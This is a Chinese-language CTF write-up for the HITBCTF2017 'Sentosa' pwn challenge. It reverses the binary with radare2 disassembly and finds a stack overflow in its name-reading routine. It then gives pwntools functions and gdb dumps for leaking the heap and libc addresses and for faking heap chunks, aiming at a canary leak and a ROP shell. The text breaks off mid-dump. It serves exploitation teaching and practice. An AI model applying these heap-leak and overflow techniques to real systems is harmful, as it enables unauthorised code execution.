# 6.1.18 pwn HITBCTF2017 Sentosa - [题目复现](#题目复现) - [题目解析](#题目解析) - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.18_pwn_hitbctf2017_sentosa) ## 题目复现 ``` $ file sentosa sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped $ checksec -f sentosa RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 3 sentosa $ strings libc.so.6| grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` 保护全开,默认开启 ASLR。 在 Ubuntu-16.04 上玩一下: ``` $ ./sentosa Welcome to Sentosa Development Center Choose your action: 1. Start a project 2. View all projects 3. Edit a project 4. Cancel a project 5. Exit 1 Input length of your project name: 10 Input your project name: AAAA Input your project price: 10 Input your project area: 10 Input your project capacity: 10 Your project is No.0 Welcome to Sentosa Development Center Choose your action: 1. Start a project 2. View all projects 3. Edit a project 4. Cancel a project 5. Exit 2 Project: AAAA Price: 10 Area: 10 Capacity: 10 Welcome to Sentosa Development Center Choose your action: 1. Start a project 2. View all projects 3. Edit a project 4. Cancel a project 5. Exit 3 Not implemented yet Welcome to Sentosa Development Center Choose your action: 1. Start a project 2. View all projects 3. Edit a project 4. Cancel a project 5. Exit 4 Input your projects number: 0 ``` 可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。 现在我们给 length 输入 0 试试看: ``` $ ./sentosa Welcome to Sentosa Development Center Choose your action: 1. Start a project 2. View all projects 3. Edit a project 4. Cancel a project 5. Exit 1 Input length of your project name: 0 Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Input your project price: 10 Input your project area: 10 Input your project capacity: 10 Your project is No.0 *** stack smashing detected ***: ./sentosa terminated [2] 5673 abort (core dumped) ./sentosa ``` 造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。 ## 题目解析 下面我们依次来逆向这些函数。 #### Start a project ``` [0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0 / (fcn) sub.There_are_too_much_projects_ca0 482 | sub.There_are_too_much_projects_ca0 (); | ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146) | ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146) | 0x00000ca0 push r13 | 0x00000ca2 push r12 | 0x00000ca4 push rbp | 0x00000ca5 push rbx | 0x00000ca6 xor ebx, ebx ; ebx 作为序号 i,初始化为 0 | 0x00000ca8 sub rsp, 0x88 ; buffer[0x88] | 0x00000caf mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' | 0x00000cb8 mov qword [rsp + 0x78], rax | 0x00000cbd xor eax, eax | 0x00000cbf cmp dword [0x002020c0], 0x10 ; [0x002020c0] 存储当前数量 proj_num | 0x00000cc6 lea rax, [0x00202040] ; 取出数组 projects | ,=< 0x00000ccd jg 0xe80 ; proj_num 大于 0x10 时跳转 | | 0x00000cd3 nop dword [rax + rax] | | ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0) | .--> 0x00000cd8 cmp qword [rax + rbx*8], 0 ; projects[i] 与 0 比较 | :| 0x00000cdd movsxd rbp, ebx | ,===< 0x00000ce0 je 0xd10 ; projects[i] 为 0 时跳转 | |:| 0x00000ce2 add rbx, 1 ; 否则 i = i+1 | |:| 0x00000ce6 cmp rbx, 0x10 | |`==< 0x00000cea jne 0xcd8 ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i]) | | | 0x00000cec lea rsi, str.Error. ; 0x135b ; "Error." ; 否则打印出 Error | | | 0x00000cf3 mov edi, 1 | | | 0x00000cf8 xor eax, eax | | | 0x00000cfa call sym.imp.__printf_chk | | | 0x00000cff xor edi, edi | | | 0x00000d01 call sym.imp.exit ; void exit(int status) | | 0x00000d06 nop word cs:[rax + rax] | | | ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0) | `---> 0x00000d10 lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: " | | 0x00000d17 mov edi, 1 | | 0x00000d1c xor eax, eax | | 0x00000d1e call sym.imp.__printf_chk | | 0x00000d23 lea rsi, [rsp + 0xc] | | 0x00000d28 lea rdi, [0x00001309] ; "%d" | | 0x00000d2f xor eax, eax | | 0x00000d31 call sym.imp.__isoc99_scanf | | 0x00000d36 movsxd rax, dword [rsp + 0xc] ; rax = length | | 0x00000d3b cmp eax, 0x59 ; 'Y' | ,==< 0x00000d3e ja 0xe70 ; 表示 length 不能大于 0x59 | || 0x00000d44 lea rdi, [rax + 0x15] | || 0x00000d48 lea r13, [rsp + 0x10] ; r13 = rsp + 0x10 | || 0x00000d4d call sym.imp.malloc ; malloc(length+0x15) 分配 project | || 0x00000d52 mov edx, dword [rsp + 0xc] ; 取出 length 到 edx | || 0x00000d56 mov qword [rsp + 0x6a], rax ; 将 project 地址放到 [rsp + 0x6a] | || 0x00000d5b mov ecx, 0xb | || 0x00000d60 mov rdi, r13 ; rdi = rsp+0x10 | || 0x00000d63 lea rsi, str.Input_your_project_name: ; 0x12d4 ; "Input your project name: " | || 0x00000d6a lea r12, [rax + rdx + 5] ; r12 = &project[length+5] | || 0x00000d6f mov dword [rax], edx ; project->length = length | || 0x00000d71 xor eax, eax ; eax = 0 | || 0x00000d73 rep stosq qword [rdi], rax ; 清空 buffer | || 0x00000d76 xor edx, edx ; edx = 0 | || 0x00000d78 mov word [rdi], dx ; [rsp+0x10] = 0 | || 0x00000d7b mov edi, 1 | || 0x00000d80 call sym.imp.__printf_chk | || 0x00000d85 mov esi, dword [rsp + 0xc] ; [0xc:4]=0 | || 0x00000d89 mov rdi, r13 | || 0x00000d8c call sub.read_bf0 ; 调用函数 read_bf0(rsp+0x10, length) 读入 name | || 0x00000d91 mov rax, qword [rsp + 0x6a] ; rax 存放 project | || 0x00000d96 movsxd rdx, dword [rsp + 0xc] ; [0xc:4]=0 | || 0x00000d9b mov rsi, r13 | || 0x00000d9e lea rdi, [rax + 4] | || 0x00000da2 call sym.imp.strncpy ; strncpy(project+4, name, length),即将 name 复制到 project->name | || 0x00000da7 lea rsi, str.Input_your_project_price: ; 0x12ee ; "Input your project price: " | || 0x00000dae mov edi, 1 | || 0x00000db3 mov dword [r12], 1 ; project[length+5] = 1,即 project->check | || 0x00000dbb xor eax, eax | || 0x00000dbd call sym.imp.__printf_chk | || 0x00000dc2 lea rsi, [r12 + 4] ; rsi = project[length+5 + 4],即 project->price | || 0x00000dc7 lea rdi, [0x00001309] ; "%d" | || 0x00000dce xor eax, eax | || 0x00000dd0 call sym.imp.__isoc99_scanf | || 0x00000dd5 lea rsi, str.Input_your_project_area: ; 0x130c ; "Input your project area: " | || 0x00000ddc mov edi, 1 | || 0x00000de1 xor eax, eax | || 0x00000de3 call sym.imp.__printf_chk | || 0x00000de8 lea rsi, [r12 + 8] ; rsi = project[length+5 + 8],即 project->area | || 0x00000ded lea rdi, [0x00001309] ; "%d" | || 0x00000df4 xor eax, eax | || 0x00000df6 call sym.imp.__isoc99_scanf | || 0x00000dfb lea rsi, str.Input_your_project_capacity: ; 0x1326 ; "Input your project capacity: " | || 0x00000e02 mov edi, 1 | || 0x00000e07 xor eax, eax | || 0x00000e09 call sym.imp.__printf_chk | || 0x00000e0e lea rsi, [r12 + 0xc] ; rsi = project[length+5 + 12],即 project->capacity | || 0x00000e13 lea rdi, [0x00001309] ; "%d" | || 0x00000e1a xor eax, eax | || 0x00000e1c call sym.imp.__isoc99_scanf | || 0x00000e21 mov rdx, qword [rsp + 0x6a] ; 取出 project | || 0x00000e26 lea rax, [0x00202040] | || 0x00000e2d lea rsi, str.Your_project_is_No._d ; 0x1344 ; "Your project is No.%d\n" | || 0x00000e34 mov edi, 1 | || 0x00000e39 mov qword [rax + rbp*8], rdx ; projects[i] = project,放到数组中 | || 0x00000e3d mov edx, ebx | || 0x00000e3f xor eax, eax | || 0x00000e41 call sym.imp.__printf_chk | || 0x00000e46 add dword [0x002020c0], 1 ; proj_num 加 1 | || ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0) | || ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0) | ..---> 0x00000e4d mov rax, qword [rsp + 0x78] ; [0x78:8]=0x400000003 ; 'x' | ::|| 0x00000e52 xor rax, qword fs:[0x28] | ,=====< 0x00000e5b jne 0xe8e | |::|| 0x00000e5d add rsp, 0x88 | |::|| 0x00000e64 pop rbx | |::|| 0x00000e65 pop rbp | |::|| 0x00000e66 pop r12 | |::|| 0x00000e68 pop r13 | |::|| 0x00000e6a ret |::|| 0x00000e6b nop dword [rax + rax] | |::|| ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0) | |::`--> 0x00000e70 lea rdi, str.Invalid_name_length ; 0x12bf ; "Invalid name length!" | |:: | 0x00000e77 call sym.imp.puts ; int puts(const char *s) | |`====< 0x00000e7c jmp 0xe4d | : | 0x00000e7e nop | | : | ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0) | | : `-> 0x00000e80 lea rdi, str.There_are_too_much_projects ; 0x12a2 ; "There are too much projects!" | | : 0x00000e87 call sym.imp.puts ; int puts(const char *s) | | `===< 0x00000e8c jmp 0xe4d | | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0) \ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` 通过上面的分析可以得到 project 结构体和 projects 数组: ```c struct project { int length; char name[length]; int check; int price; int area; int capacity; } project; struct project *projects[0x10]; ``` projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。 程序自己实现的 `read_bf0()` 函数如下: ``` [0x00000a30]> pdf @ sub.read_bf0 / (fcn) sub.read_bf0 148 | sub.read_bf0 (); | ; var int local_0h @ rbp-0x0 | ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0) | 0x00000bf0 push r14 | 0x00000bf2 push r13 | 0x00000bf4 push r12 | 0x00000bf6 push rbp | 0x00000bf7 mov r12, rdi ; r12 存储 buffer 地址 | 0x00000bfa push rbx | 0x00000bfb sub rsp, 0x10 | 0x00000bff mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' | 0x00000c08 mov qword [rsp + 8], rax | 0x00000c0d xor eax, eax | 0x00000c0f sub esi, 1 ; length 减 1 | ,=< 0x00000c12 je 0xc8a ; length 等于 0 时跳转 | | 0x00000c14 mov r13d, esi ; 否则继续 | | 0x00000c17 mov rbp, rdi ; rbp 存储 buffer 地址 | | 0x00000c1a xor ebx, ebx ; 循环计算 i,初始化为 0 | | 0x00000c1c lea r14, [rsp + 7] ; 读入字符到 [rsp+7] | ,==< 0x00000c21 jmp 0xc37 || 0x00000c23 nop dword [rax + rax] | || ; JMP XREF from 0x00000c4f (sub.read_bf0) | .---> 0x00000c28 add ebx, 1 ; i = i + 1 | :|| 0x00000c2b mov byte [rbp], al ; 将字符放到 [rbp] | :|| 0x00000c2e add rbp, 1 ; rbp = rbp + 1 | :|| 0x00000c32 cmp ebx, r13d | ,====< 0x00000c35 je 0xc80 ; i 等于 length 时跳转 | |:|| ; JMP XREF from 0x00000c21 (sub.read_bf0) | |:`--> 0x00000c37 xor edi, edi ; i 不等于 length 时循环继续 | |: | 0x00000c39 xor eax, eax | |: | 0x00000c3b mov edx, 1 | |: | 0x00000c40 mov rsi, r14 | |: | 0x00000c43 call sym.imp.read ; read(0, rsp+7, 1) 每次读入一个字节 | |: | 0x00000c48 movzx eax, byte [rsp + 7] ; [0x7:1]=0 | |: | 0x00000c4d cmp al, 0xa ; 判断是否为 '\n' | |`===< 0x00000c4f jne 0xc28 ; 不是 '\n' 时循环继续 | | | 0x00000c51 movsxd rbx, ebx ; 否则 rbx = i | | | 0x00000c54 mov byte [r12 + rbx], 0 ; buffer[i] = 0,即末尾加 '\x00' | | | ; JMP XREF from 0x00000c88 (sub.read_bf0) | | .--> 0x00000c59 mov rax, qword [rsp + 8] ; [0x8:8]=0 | | :| 0x00000c5e xor rax, qword fs:[0x28] | |,===< 0x00000c67 jne 0xc8e | ||:| 0x00000c69 add rsp, 0x10 | ||:| 0x00000c6d pop rbx | ||:| 0x00000c6e pop rbp | ||:| 0x00000c6f pop r12 | ||:| 0x00000c71 pop r13 | ||:| 0x00000c73 pop r14 | ||:| 0x00000c75 ret ||:| 0x00000c76 nop word cs:[rax + rax] | ||:| ; JMP XREF from 0x00000c35 (sub.read_bf0) | `----> 0x00000c80 movsxd rbx, ebx | |:| ; JMP XREF from 0x00000c8c (sub.read_bf0) | .----> 0x00000c83 mov byte [r12 + rbx], 0 | :|`==< 0x00000c88 jmp 0xc59 | :| | ; JMP XREF from 0x00000c12 (sub.read_bf0) | :| `-> 0x00000c8a xor ebx, ebx | `====< 0x00000c8c jmp 0xc83 | | ; JMP XREF from 0x00000c67 (sub.read_bf0) \ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` 正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以'\n'结尾),造成缓冲区溢出。 字符串末尾会被加上 '\x00',且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。 #### View all projects ``` [0x00000a30]> pdf @ sub.Project:__s_ea0 / (fcn) sub.Project:__s_ea0 191 | sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch); | ; arg int arg_4h @ rbp+0x4 | ; arg int arg_8h @ rbp+0x8 | ; arg int arg_ch @ rbp+0xc | ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130) | 0x00000ea0 push r12 | 0x00000ea2 push rbp | 0x00000ea3 lea r12, [0x002020c0] ; 取出 &proj_num | 0x00000eaa push rbx | 0x00000eab lea rbx, [0x00202040] ; 取出 &projects | 0x00000eb2 sub rsp, 0x10 | 0x00000eb6 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' | 0x00000ebf mov qword [rsp + 8], rax | 0x00000ec4 xor eax, eax | 0x00000ec6 nop word cs:[rax + rax] | ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0) | .-> 0x00000ed0 mov rdx, qword [rbx] ; 取出此时开头的 project | : 0x00000ed3 test rdx, rdx | ,==< 0x00000ed6 je 0xf38 ; 该 project 为 0 时跳转 | |: 0x00000ed8 mov eax, dword [rdx] | |: 0x00000eda lea rsi, str.Project:__s ; 0x1362 ; "Project: %s\n" | |: 0x00000ee1 mov edi, 1 | |: 0x00000ee6 lea rbp, [rdx + rax + 5] ; rbp = project->check | |: 0x00000eeb add rdx, 4 ; rdx = project->name | |: 0x00000eef xor eax, eax | |: 0x00000ef1 call sym.imp.__printf_chk ; 打印出 project->name | |: 0x00000ef6 mov edx, dword [arg_4h] ; rdx = project->price | |: 0x00000ef9 lea rsi, str.Price:__d ; 0x136f ; "Price: %d\n" | |: 0x00000f00 mov edi, 1 | |: 0x00000f05 xor eax, eax | |: 0x00000f07 call sym.imp.__printf_chk ; 打印出 project->price | |: 0x00000f0c mov edx, dword [arg_8h] ; rdx = project->area | |: 0x00000f0f lea rsi, str.Area:__d ; 0x137a ; "Area: %d\n" | |: 0x00000f16 mov edi, 1 | |: 0x00000f1b xor eax, eax | |: 0x00000f1d call sym.imp.__printf_chk ; 打印出 project->area | |: 0x00000f22 mov edx, dword [arg_ch] ; rdx = project->capacity | |: 0x00000f25 lea rsi, str.Capacity:__d ; 0x1384 ; "Capacity: %d\n" | |: 0x00000f2c mov edi, 1 | |: 0x00000f31 xor eax, eax | |: 0x00000f33 call sym.imp.__printf_chk ; 打印出 project->capacity | |: ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0) | `--> 0x00000f38 add rbx, 8 ; rbx += 8,即 projects 向后移一个 | : 0x00000f3c cmp rbx, r12 | `=< 0x00000f3f jne 0xed0 ; &projects 不等于 &proj_num 时循环继续 | 0x00000f41 mov rax, qword [rsp + 8] ; [0x8:8]=0 | 0x00000f46 xor rax, qword fs:[0x28] | ,=< 0x00000f4f jne 0xf5a | | 0x00000f51 add rsp, 0x10 | | 0x00000f55 pop rbx | | 0x00000f56 pop rbp | | 0x00000f57 pop r12 | | 0x00000f59 ret | | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0) \ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` 该函数用于打印出所有存在的 project 的信息。 #### Cancel a project ``` [0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60 / (fcn) sub.There_are_no_project_to_cancel_f60 207 | sub.There_are_no_project_to_cancel_f60 (); | ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98) | 0x00000f60 push rbx | 0x00000f61 sub rsp, 0x10 | 0x00000f65 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '(' | 0x00000f6e mov qword [rsp + 8], rax | 0x00000f73 xor eax, eax | 0x00000f75 mov eax, dword [0x002020c0] ; 取出 proj_num | 0x00000f7b test eax, eax | ,=< 0x00000f7d jle 0x1010 ; proj_num 小于等于 0 时跳转 | | 0x00000f83 lea rsi, str.Input_your_projects_number: ; 0x1392 ; "Input your projects number: " | | 0x00000f8a mov edi, 1 | | 0x00000f8f xor eax, eax | | 0x00000f91 call sym.imp.__printf_chk | | 0x00000f96 lea rsi, [rsp + 4] | | 0x00000f9b lea rdi, [0x00001309] ; "%d" | | 0x00000fa2 xor eax, eax | | 0x00000fa4 call sym.imp.__isoc99_scanf ; 读入 i 到 rsp+4 | | 0x00000fa9 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102 | | 0x00000fae cmp eax, 0xf | ,==< 0x00000fb1 ja 0x1000 ; i 大于 0xf 时函数返回 | || 0x00000fb3 lea rbx, [0x00202040] ; 取出 &projects | || 0x00000fba mov rdi, qword [rbx + rax*8] ; 取出 projects[i] | || 0x00000fbe test rdi, rdi | ,===< 0x00000fc1 je 0x1000 ; projects[i] 为 0 时函数返回 | ||| 0x00000fc3 mov eax, dword [rdi] | ||| 0x00000fc5 cmp dword [rdi + rax + 5], 1 ; 检查 projects[i]->check 是否为 1 | ,====< 0x00000fca jne 0x1023 ; 不为 1 时程序结束 | |||| 0x00000fcc call sym.imp.free ; free(projects[i]) 释放 project | |||| 0x00000fd1 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102 | |||| 0x00000fd6 sub dword [0x002020c0], 1 ; proj_num 减 1 | |||| 0x00000fdd mov qword [rbx + rax*8], 0 ; projects[i] = 0 将其置 0 | |||| ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60) | |||| ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60) | ..-----> 0x00000fe5 mov rax, qword [rsp + 8] ; [0x8:8]=0 | ::|||| 0x00000fea xor rax, qword fs:[0x28] | ,=======< 0x00000ff3 jne 0x101e | |::|||| 0x00000ff5 add rsp, 0x10 | |::|||| 0x00000ff9 pop rbx | |::|||| 0x00000ffa ret |::|||| 0x00000ffb nop dword [rax + rax] | |::|||| ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60) | |::|||| ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60) | |::|``--> 0x00001000 lea rdi, str.Invalid_number ; 0x13af ; "Invalid number!" | |::| | 0x00001007 call sym.imp.puts ; int puts(const char *s) | |`======< 0x0000100c jmp 0xfe5 | :| | 0x0000100e nop | | :| | ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60) | | :| `-> 0x00001010 lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!" | | :| 0x00001017 call sym.imp.puts ; int puts(const char *s) | | `=====< 0x0000101c jmp 0xfe5 | | | ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60) | `-------> 0x0000101e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60) | `----> 0x00001023 lea rdi, str.Corrupted_project ; 0x13bf ; "Corrupted project!" | 0x0000102a call sym.imp.puts ; int puts(const char *s) | 0x0000102f xor edi, edi \ 0x00001031 call sym.imp.exit ; void exit(int status) ``` 该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。 ## 漏洞利用 总结一下,就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。 我们来看一下 `read_bf0()` 函数中的内存布局,假设分配一个这样的 project: ```python start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4) ``` ``` gdb-peda$ x/22gx $rsp 0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0 0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name 0x7fffffffec90: 0x4141414141414141 0x4141414141414141 0x7fffffffeca0: 0x4141414141414141 0x4141414141414141 0x7fffffffecb0: 0x4141414141414141 0x4141414141414141 0x7fffffffecc0: 0x4141414141414141 0x0000414141414141 0x7fffffffecd0: 0x0000000000000000 0x5555557570100000 <-- project address 0x7fffffffece0: 0x0000000000000000 0x38a9eb4968c1da00 <-- canary 0x7fffffffecf0: 0x000055555555529a 0x00005555555553f8 0x7fffffffed00: 0x00007fffffffed24 0x0000555555554a30 0x7fffffffed10: 0x00007fffffffee40 0x0000555555555117 <-- return address gdb-peda$ x/g $rsp+0x6a 0x7fffffffecda: 0x0000555555757010 <-- project address gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10 0x555555757000: 0x0000000000000000 0x0000000000000071 <-- project chunk 0x555555757010: 0x414141410000004f 0x4141414141414141 <-- length <-- name 0x555555757020: 0x4141414141414141 0x4141414141414141 0x555555757030: 0x4141414141414141 0x4141414141414141 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x0000000100004141 0x0000000300000002 <-- check <-- price, area 0x555555757070: 0x0000000000000004 0x0000000000020f91 <-- capacity <-- top chunk 0x555555757080: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/18gx 0x555555756040 0x555555756040: 0x0000555555757010 0x0000000000000000 <-- projects 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000000000000000 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000 0x555555756090: 0x0000000000000000 0x0000000000000000 0x5555557560a0: 0x0000000000000000 0x0000000000000000 0x5555557560b0: 0x0000000000000000 0x0000000000000000 0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num ``` 所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`,所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。 另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。 得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 `__environ` 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。 #### leak heap ```python def leak_heap(): global heap_base start_proj(0, 'A', 1, 1, 1) # 0 start_proj(0, 'A'*0x5a, 1, 1, 1) # 1 start_proj(0, 'A', 1, 1, 1) # 2 cancel_proj(2) cancel_proj(0) view_proj() io.recvuntil("Capacity: ") leak = int(io.recvline()[:-1], 10) & 0xffffffff heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 log.info("libc base: 0x%x" % heap_base) ``` 首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2: ``` gdb-peda$ x/18gx 0x555555756040 0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects 0x555555756050: 0x0000000000000000 0x0000000000000000 0x555555756060: 0x0000000000000000 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000 0x555555756090: 0x0000000000000000 0x0000000000000000 0x5555557560a0: 0x0000000000000000 0x0000000000000000 0x5555557560b0: 0x0000000000000000 0x0000000000000000 0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num gdb-peda$ x/16gx 0x555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 [be freed] 0x555555757010: 0x0000555555757040 0x0000010000000100 <-- fd pointer 0x555555757020: 0x0000000000000100 0x0000000000000021 <-- chunk 1 0x555555757030: 0x0000010000000000 0x0000010000000100 0x555555757040: 0x0000000000000100 0x0000000000000021 <-- chunk 2 [be freed] 0x555555757050: 0x0000000000000000 0x0000010000000100 0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk 0x555555757070: 0x0000000000000000 0x0000000000000000 ``` 然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 `0x55`,但我们知道这个值相对固定,所以直接加上就可以了。 #### leak libc ```python def leak_libc(): global libc_base start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0 start_proj(0x50, '\x01', 1, 1, 1) # 2 start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3 start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4 start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5 cancel_proj(4) view_proj() for i in range(5): io.recvuntil("Area: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Capacity: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff libc_base = leak_low + (leak_high<<32) - 0x3c3b78 log.info("libc base: 0x%x" % libc_base) ``` 由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。 首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下: ``` gdb-peda$ x/18gx 0x555555756040 0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects 0x555555756050: 0x00005555557570a0 0x0000555555757110 0x555555756060: 0x0000555555757090 0x000055555575708b 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080: 0x0000000000000000 0x0000000000000000 0x555555756090: 0x0000000000000000 0x0000000000000000 0x5555557560a0: 0x0000000000000000 0x0000000000000000 0x5555557560b0: 0x0000000000000000 0x0000000000000000 0x5555557560c0: 0x0000000000000006 0x0000000000000000 <-- proj_num gdb-peda$ x/50gx 0x555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x555555757010: 0x0000015500000000 0x0000010000000100 0x555555757020: 0x0000000000000100 0x0000000000000021 0x555555757030: 0x0000010000000000 0x0000010000000100 0x555555757040: 0x0000000000000100 0x0000000000000021 0x555555757050: 0x0000010000000000 0x0000010000000100 0x555555757060: 0x0000000000000100 0x0000000000000031 <-- chunk 0 0x555555757070: 0x000000410000000f 0x0000000000000000 0x555555757080: 0x0000000100000000 0x00000000000000d1 <-- fake chunk (chunk 4) 0x555555757090: 0x0000000000000064 0x0000000000000071 <-- chunk 2 0x5555557570a0: 0x0000000100000050 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000010000000000 0x0000010000000100 0x555555757100: 0x0000000000000100 0x0000000000000071 <-- chunk 3 0x555555757110: 0x4141414100000050 0x4141414141414141 0x555555757120: 0x4141414141414141 0x4141414141414141 0x555555757130: 0x4141414141414141 0x4141414141414141 0x555555757140: 0x4141414141414141 0x4141414141414141 0x555555757150: 0x4141414141414141 0x0000000000000021 <-- fake chunk (0xd0+0x80=0x150) 0x555555757160: 0x0000010000000000 0x0000010000000100 0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk 0x555555757180: 0x0000000000000000 0x0000000000000000 ``` 释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc: ``` gdb-peda$ x/50gx 0x555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000015500000000 0x0000010000000100 0x555555757020: 0x0000000000000100 0x0000000000000021 0x555555757030: 0x0000010000000000 0x0000010000000100 0x555555757040: 